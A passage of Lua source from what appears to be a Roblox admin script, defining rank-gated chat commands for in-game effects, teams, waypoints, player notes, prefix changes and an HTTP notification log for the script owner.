  7539.             if Answer == "Yes" then
  7540.                 local OldBet = Settings.Bet
  7541.                 CORE:ChangeBet(Bet)
  7542.                 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
  7543.             end
  7544.         end
  7545.     end};
  7546.    
  7547.     [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
  7548.         local Prefix = Arguments[1]
  7549.         if #Prefix > 5 then
  7550.             GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
  7551.         else
  7552.             local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
  7553.             if Answer == "Yes" then
  7554.                 local OldPrefix = Settings.Prefix
  7555.                 Settings.Prefix = Prefix
  7556.                 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
  7557.             end
  7558.         end
  7559.     end};
  7560.    
  7561.     [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
  7562.         GUI:CommandBar(Speaker)
  7563.     end};
  7564.    
  7565.     [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7566.         GUI:CommandBar(Speaker)
  7567.         PermCommandBars[Speaker.Name] = true
  7568.     end};
  7569.    
  7570.     [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7571.         PermCommandBars[Speaker.Name] = nil
  7572.     end};
  7573.    
  7574.     [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  7575.         local Players = STRING:Scan(Arguments[1], Speaker)
  7576.         for _,Player in pairs(Players) do
  7577.             PermCommandBars[Player.Name] = nil
  7578.         end
  7579.     end};
  7580.    
  7581.     [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
  7582.         CORE:CreateFigure("Dummy", nil, true, Speaker)
  7583.     end};
  7584.    
  7585.     [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
  7586.         CORE:CreateFigure(Arguments[1], nil, true, Speaker)
  7587.     end};
  7588.    
  7589.     [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7590.         local Players = STRING:Scan(Arguments[1], Speaker)
  7591.         for _,Player in pairs(Players) do
  7592.             CORE:ClonePlayer(Player)
  7593.         end
  7594.     end};
  7595.    
  7596.     [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
  7597.         local Players = STRING:Scan(Arguments[1], Speaker)
  7598.         for _,Player in pairs(Players) do
  7599.             CORE:ClonePlayer(Player, Arguments[2])
  7600.         end
  7601.     end};
  7602.    
  7603.     [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  7604.         for _,Obj in pairs(Objects) do
  7605.             if Obj then Obj:Destroy() end
  7606.         end
  7607.         for Name,Jail in pairs(Jails) do
  7608.             if not game.Players:FindFirstChild(Name) then
  7609.                 Jail:Destroy()
  7610.                 Jails[Name] = nil
  7611.             end
  7612.         end
  7613.         Objects = {}
  7614.     end};
  7615.    
  7616.     [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
  7617.         for _,Obj in pairs(Server.Workspace:GetChildren()) do
  7618.             if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
  7619.                 Obj:Destroy()
  7620.             end
  7621.         end
  7622.     end};
  7623.    
  7624.     [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7625.         local Players = STRING:Scan(Arguments[1], Speaker)
  7626.         for _,Player in pairs(Players) do
  7627.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  7628.                 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
  7629.             end
  7630.         end
  7631.     end};
  7632.    
  7633.     [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
  7634.         local Players = STRING:Scan(Arguments[1], Speaker)
  7635.         for _,Player in pairs(Players) do
  7636.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  7637.                 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
  7638.             end
  7639.         end
  7640.     end};
  7641.    
  7642.     [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7643.         local Players = STRING:Scan(Arguments[1], Speaker)
  7644.         for _,Player in pairs(Players) do
  7645.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  7646.                 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
  7647.             end
  7648.         end
  7649.     end};
  7650.    
  7651.     [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7652.         local Players = STRING:Scan(Arguments[1], Speaker)
  7653.         for _,Player in pairs(Players) do
  7654.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  7655.                 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  7656.                     if Get:IsA("Sparkles") then
  7657.                         Get:Destroy()
  7658.                     end
  7659.                 end
  7660.             end
  7661.         end
  7662.     end};
  7663.    
  7664.     [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
  7665.         local Players = STRING:Scan(Arguments[1], Speaker)
  7666.         for _,Player in pairs(Players) do
  7667.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  7668.                 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  7669.                     if Get:IsA("Fire") then
  7670.                         Get:Destroy()
  7671.                     end
  7672.                 end
  7673.             end
  7674.         end
  7675.     end};
  7676.    
  7677.     [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
  7678.         local Players = STRING:Scan(Arguments[1], Speaker)
  7679.         for _,Player in pairs(Players) do
  7680.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  7681.                 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  7682.                     if Get:IsA("Smoke") then
  7683.                         Get:Destroy()
  7684.                     end
  7685.                 end
  7686.             end
  7687.         end
  7688.     end};
  7689.    
  7690.     [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7691.         local Players = STRING:Scan(Arguments[1], Speaker)
  7692.         for _,Player in pairs(Players) do
  7693.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  7694.                 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
  7695.                 local Boom = Instance.new("Explosion", Workspace)
  7696.                 Boom.Position = Player.Character.Torso.Position
  7697.             end
  7698.         end
  7699.     end};
  7700.    
  7701.     [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7702.         local Players = STRING:Scan(Arguments[1], Speaker)
  7703.         for _,Player in pairs(Players) do
  7704.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  7705.                 coroutine.wrap(function() for i = 1,50 do
  7706.                     local Boom = Instance.new("Explosion", Workspace)
  7707.                     Boom.Position = Player.Character.Torso.Position
  7708.                     wait()
  7709.                 end end)()
  7710.                 coroutine.wrap(function() for i = 1,5 do
  7711.                     SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
  7712.                 end end)()
  7713.             end
  7714.         end
  7715.     end};
  7716.    
  7717.     [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
  7718.         local Players = STRING:Scan(Arguments[1], Speaker)
  7719.         for _,Player in pairs(Players) do
  7720.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  7721.                 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
  7722.                 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
  7723.                 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
  7724.             end
  7725.         end
  7726.     end};
  7727.    
  7728.     [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
  7729.         local Players = STRING:Scan(Arguments[1], Speaker)
  7730.         for _,Player in pairs(Players) do
  7731.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  7732.                 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
  7733.             end
  7734.         end
  7735.     end};
  7736.    
  7737.     [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
  7738.         local Players = STRING:Scan(Arguments[1], Speaker)
  7739.         for _,Player in pairs(Players) do
  7740.             if Player.Character then
  7741.                 Player.Character.Parent = Server.Lighting
  7742.             end
  7743.         end
  7744.     end};
  7745.    
  7746.     [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7747.         local Players = STRING:Scan(Arguments[1], Speaker)
  7748.         for _,Player in pairs(Players) do
  7749.             if Player.Character then
  7750.                 Player.Character.Parent = Server.Workspace
  7751.                 Player.Character:MakeJoints()
  7752.             end
  7753.         end
  7754.     end};
  7755.    
  7756.     [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
  7757.         local Players = STRING:Scan(Arguments[1], Speaker)
  7758.         for _,Player in pairs(Players) do
  7759.             if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7760.                 Player.Character.Humanoid.PlatformStand = true
  7761.             end
  7762.         end
  7763.     end};
  7764.    
  7765.     [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7766.         local Players = STRING:Scan(Arguments[1], Speaker)
  7767.         for _,Player in pairs(Players) do
  7768.             if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7769.                 Player.Character.Humanoid.PlatformStand = false
  7770.             end
  7771.         end
  7772.     end};
  7773.    
  7774.     [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
  7775.         local Players = STRING:Scan(Arguments[1], Speaker)
  7776.         for _,Player in pairs(Players) do
  7777.             if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7778.                 Player.Character.Humanoid.Jump = true
  7779.             end
  7780.         end
  7781.     end};
  7782.    
  7783.     [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
  7784.         local Players = STRING:Scan(Arguments[1], Speaker)
  7785.         for _,Player in pairs(Players) do
  7786.             if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7787.                 Player.Character.Humanoid.Sit = true
  7788.             end
  7789.         end
  7790.     end};
  7791.    
  7792.     [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
  7793.         local Players = STRING:Scan(Arguments[1], Speaker)
  7794.         for _,Player in pairs(Players) do
  7795.             if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7796.                 Player.Character.Humanoid.Sit = false
  7797.             end
  7798.         end
  7799.     end};
  7800.    
  7801.     [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
  7802.         local Players = STRING:Scan(Arguments[1], Speaker)
  7803.         for _,Player in pairs(Players) do
  7804.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  7805.                 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
  7806.             end
  7807.         end
  7808.     end};
  7809.    
  7810.     [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
  7811.         local Players = STRING:Scan(Arguments[1], Speaker)
  7812.         for _,Player in pairs(Players) do
  7813.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  7814.                 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
  7815.             end
  7816.         end
  7817.     end};
  7818.    
  7819.     [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
  7820.         GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
  7821.     end};
  7822.    
  7823.     [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
  7824.         local Color = "Blue"
  7825.         local String = Arguments[2]
  7826.         local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
  7827.         if #ChatSplit >= 2 then
  7828.             if string.lower(ChatSplit[1]) == "green" then
  7829.                 Color = "Green"
  7830.                 String = ChatSplit[2]
  7831.             elseif string.lower(ChatSplit[1]) == "red" then
  7832.                 Color = "Red"
  7833.                 String = ChatSplit[2]
  7834.             end
  7835.         end
  7836.         local Players = STRING:Scan(Arguments[1], Speaker)
  7837.         for _,Player in pairs(Players) do
  7838.             if Player.Character and Player.Character:FindFirstChild("Head") then
  7839.                 game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
  7840.             end
  7841.         end
  7842.     end};
  7843.    
  7844.     [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
  7845.         local Players = STRING:Scan(Arguments[1], Speaker)
  7846.         for _,Player in pairs(Players) do
  7847.             if Player.Character then
  7848.                 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
  7849.             end
  7850.         end
  7851.     end};
  7852.    
  7853.     [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7854.         local Players = STRING:Scan(Arguments[1], Speaker)
  7855.         local ID = nil
  7856.         if tonumber(Arguments[2]) ~= nil then
  7857.             ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
  7858.         else
  7859.             for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
  7860.                 for _,Face in pairs(FaceTable) do
  7861.                     if string.lower(Arguments[2]) == string.lower(Face) then
  7862.                         ID = FaceID
  7863.                         break
  7864.                     end
  7865.                 end
  7866.             end
  7867.         end
  7868.         if ID then
  7869.             for _,Player in pairs(Players) do
  7870.                 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  7871.                     Player.Character.Head.face.Texture = "rbxassetid://"..ID
  7872.                     pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
  7873.                 end
  7874.             end
  7875.         end
  7876.     end};
  7877.    
  7878.     [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7879.         local Players = STRING:Scan(Arguments[1], Speaker)
  7880.         local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
  7881.         for _,Player in pairs(Players) do
  7882.             if Player.Character and Player.Character:FindFirstChild("Head") then
  7883.                 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
  7884.                 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
  7885.                 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
  7886.             end
  7887.         end
  7888.     end};
  7889.    
  7890.     [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
  7891.         local Players = STRING:Scan(Arguments[1], Speaker)
  7892.         for _,Player in pairs(Players) do
  7893.             if Player.Character and Player.Character:FindFirstChild("Head") then
  7894.                 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
  7895.             end
  7896.         end
  7897.     end};
  7898.    
  7899.     [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
  7900.         REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
  7901.     end, Http = true};
  7902.    
  7903.     [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7904.         GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
  7905.     end, Http = true};
  7906.        
  7907.     [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
  7908.         local Players = STRING:Scan(Arguments[1], Speaker)
  7909.         for _,Player in pairs(Players) do
  7910.             local ExistingData = Player:LoadInstance("Data")
  7911.             if ExistingData == nil then
  7912.                 ExistingData = Instance.new("Configuration")
  7913.             end
  7914.             ExistingData.Name = "Player Data"
  7915.             local Key = Instance.new("Configuration", ExistingData)
  7916.             Key.Name = Arguments[2]
  7917.             Player:SaveInstance("Data", ExistingData)
  7918.         end
  7919.     end};
  7920.    
  7921.     [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
  7922.         local Players = STRING:Scan(Arguments[1], Speaker)
  7923.         local Data = Arguments[2]
  7924.         for _,Player in pairs(Players) do
  7925.             local ExistingData = Player:LoadInstance("Data")
  7926.             if ExistingData ~= nil then
  7927.                 if string.lower(Data) == "all" then
  7928.                     ExistingData:ClearAllChildren()
  7929.                 else
  7930.                     for _,DataObj in pairs(ExistingData:GetChildren()) do
  7931.                         if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
  7932.                             DataObj:Destroy()
  7933.                         end
  7934.                     end
  7935.                 end
  7936.             end
  7937.             Player:SaveInstance("Data", ExistingData)
  7938.         end
  7939.     end};
  7940.    
  7941.     [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7942.         local Players = STRING:Scan(Arguments[1], Speaker)
  7943.         local DataSet = {}
  7944.         for _,Player in pairs(Players) do
  7945.             local ExistingData = Player:LoadInstance("Data")
  7946.             if ExistingData ~= nil then
  7947.                 if #ExistingData:GetChildren() ~= 0 then
  7948.                     for _,Data in pairs(ExistingData:GetChildren()) do
  7949.                         table.insert(DataSet, Player.Name..": "..Data.Name)
  7950.                     end
  7951.                 else
  7952.                     table.insert(DataSet, "Data does not exist for "..Player.Name)
  7953.                 end
  7954.             else
  7955.                 table.insert(DataSet, "Data does not exist for "..Player.Name)
  7956.             end
  7957.         end
  7958.         GUI:ListGui(Speaker, "Notes", DataSet)
  7959.     end};
  7960.    
  7961.     [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
  7962.         local Players = STRING:Scan(Arguments[1], Speaker)
  7963.         for _,Player in pairs(Players) do
  7964.             if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7965.                 Player.Character.Humanoid.WalkSpeed = 16
  7966.             end
  7967.         end
  7968.     end};
  7969.    
  7970.     [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
  7971.         local Players = STRING:Scan(Arguments[1], Speaker)
  7972.         for _,Player in pairs(Players) do
  7973.             if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7974.                 Player.Character.Humanoid.WalkSpeed = -16
  7975.             end
  7976.         end
  7977.     end};
  7978.    
  7979.     [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
  7980.         local TeamColor = BrickColor.random()
  7981.         local TeamName = Arguments[1]
  7982.         local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
  7983.         if #TeamNameSplit >= 2 then
  7984.             local Color = TeamNameSplit[1]
  7985.             local NewTeamName = TeamNameSplit[2]
  7986.             if Color == "Medium stone grey" then
  7987.                 TeamColor = BrickColor.new(Color)
  7988.                 TeamName = NewTeamName
  7989.             elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
  7990.                 TeamColor = BrickColor.new(Color)
  7991.                 TeamName = NewTeamName
  7992.             elseif Colors[string.upper(Color)] then
  7993.                 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
  7994.                 TeamName = NewTeamName
  7995.             end
  7996.         end
  7997.        
  7998.         local NewTeam = Instance.new("Team", Server.Teams)
  7999.         NewTeam.TeamColor = TeamColor
  8000.         NewTeam.Name = TeamName
  8001.     end};
  8002.    
  8003.     [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
  8004.         local Players = STRING:Scan(Arguments[1], Speaker)
  8005.         for _,Player in pairs(Players) do
  8006.             Player.Neutral = true
  8007.         end
  8008.     end};
  8009.    
  8010.     [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
  8011.         local Players = STRING:Scan(Arguments[1], Speaker)
  8012.         if string.lower(Arguments[2]) == "none" then
  8013.             for _,Player in pairs(Players) do
  8014.                 Player.Neutral = true
  8015.             end
  8016.         else
  8017.             for _,Obj in pairs(Server.Teams:GetChildren()) do
  8018.                 if Obj:IsA("Team") then
  8019.                     if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
  8020.                         for _,Player in pairs(Players) do
  8021.                             Player.Neutral = false
  8022.                             Player.TeamColor = Obj.TeamColor
  8023.                         end
  8024.                     end
  8025.                 end
  8026.             end
  8027.         end
  8028.     end};
  8029.    
  8030.     [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
  8031.         for _,Obj in pairs(Server.Teams:GetChildren()) do
  8032.             if Obj:IsA("Team") then
  8033.                 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
  8034.                     for _,Player in pairs(Server.Players:GetPlayers()) do
  8035.                         if Player.TeamColor == Obj.TeamColor then
  8036.                             Player.Neutral = true
  8037.                         end
  8038.                     end
  8039.                     Obj:Destroy()
  8040.                 end
  8041.             end
  8042.         end
  8043.     end};
  8044.    
  8045.     [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
  8046.         for _,Player in pairs(Server.Players:GetPlayers()) do
  8047.             Player.Neutral = true
  8048.         end
  8049.         for _,Obj in pairs(Server.Teams:GetChildren()) do
  8050.             if Obj:IsA("Team") then
  8051.                 Obj:Destroy()
  8052.             end
  8053.         end
  8054.     end};
  8055.    
  8056.     [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
  8057.         for _,Player in pairs(Server.Players:GetPlayers()) do
  8058.             GUI:Countdown(Player, Arguments[1])
  8059.         end
  8060.     end};
  8061.    
  8062.     [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8063.         local Players = STRING:Scan(Arguments[1], Speaker)
  8064.         for _,Player in pairs(Players) do
  8065.             if Player:FindFirstChild("Backpack") then
  8066.                 CORE:ExecuteResource("ShowAd", Player.Backpack)
  8067.             end
  8068.         end
  8069.     end};
  8070.    
  8071.     [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
  8072.         local Players = STRING:Scan(Arguments[1], Speaker)
  8073.         for _,Player in pairs(Players) do
  8074.             if Player.Character then
  8075.                 for PosName,WP in pairs(Waypoints) do
  8076.                     if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
  8077.                         Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
  8078.                         break
  8079.                     end
  8080.                 end
  8081.             end
  8082.         end
  8083.     end};
  8084.    
  8085.     [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
  8086.         CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
  8087.     end};
  8088.    
  8089.     [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
  8090.         local Num = 0
  8091.         for PosName,WP in pairs(Waypoints) do
  8092.             Num = Num + 1
  8093.             if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
  8094.                 Waypoints[PosName] = nil
  8095.             end
  8096.         end
  8097.     end};
  8098.    
  8099.     [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
  8100.         local WaypointHolder,WaypointRaw = {},{}
  8101.         for Name, WP in pairs(Waypoints) do
  8102.             local View = Name..": "..tostring(WP)
  8103.             table.insert(WaypointHolder, View)
  8104.             WaypointRaw[View] = WP
  8105.         end
  8106.         local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
  8107.         Clicked.Event:connect(function(Text)
  8108.             local Waypoint = WaypointRaw[Text]
  8109.             if Waypoint then
  8110.                 if Speaker.Character then
  8111.                     Speaker.Character:MoveTo(Waypoint)
  8112.                 end
  8113.             end
  8114.         end)
  8115.     end};
  8116.    
  8117.     [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
  8118.         local Players = STRING:Scan(Arguments[1], Speaker)
  8119.         local List = {}
  8120.         for _,Player in pairs(Players) do
  8121.             table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
  8122.         end
  8123.         GUI:ListGui(Speaker, "Listed Players", List)
  8124.     end};
  8125.    
  8126.     [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
  8127.         if tonumber(Arguments[1]) then
  8128.             ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
  8129.         else
  8130.             local Players = STRING:Scan(Arguments[1], Speaker)
  8131.             for _,Player in pairs(Players) do
  8132.                 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
  8133.             end
  8134.         end
  8135.     end};
  8136.    
  8137.     [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
  8138.         local Players = STRING:Scan(Arguments[1], Speaker)
